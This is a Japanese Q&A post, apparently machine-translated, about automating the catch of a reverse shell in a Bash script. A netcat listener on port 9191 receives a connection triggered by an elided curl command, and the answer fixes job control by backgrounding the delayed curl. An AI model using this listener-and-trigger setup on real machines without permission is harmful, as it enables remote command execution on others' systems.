この質問は情報セキュリティに関連していますが、次のプロセスを自動化する解決策が見つからないようです。
netcatへの接続をトリガーするcURLコマンドがあります。自動化なしでを入力し、nc -lvnp 9191
次のように入力します。その他端末にcURLコマンドを入力すると、ポート9191でマイコンピュータへの接続が確立され、このコマンドを使用してリモートコンピュータでいくつかのコマンドを実行できます。
私のBashスクリプトで次のことを試しています。
nc -lvnp 9191&
curl ......
Netcatはリスナーを起動し、バックグラウンドに移動し、cURLは接続を開始します(接続を再受信します)、netcatはすぐに閉じます。
$ ./shell.sh
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
nc -lvnp 9191&
BashスクリプトからcURLコマンドのみを削除して保持すると、次のことが発生します。
$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>
ただし、「Enter」を押すとすぐに、netcatジョブはすぐに一時停止します。
[1] + 22609 suspended (tty input) nc -lvnp 9191
Cybercatの仕事に戻ってfg
作業を続ける必要があります。
答え1
だから、誰かと話し合った最後についにうまくいきました。行位置を変更してcurl
最初に(しかしバックグラウンドジョブとして)、次にnetcat
(バックグラウンドなしで)来るようにしました。方法は次のとおりです。
(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191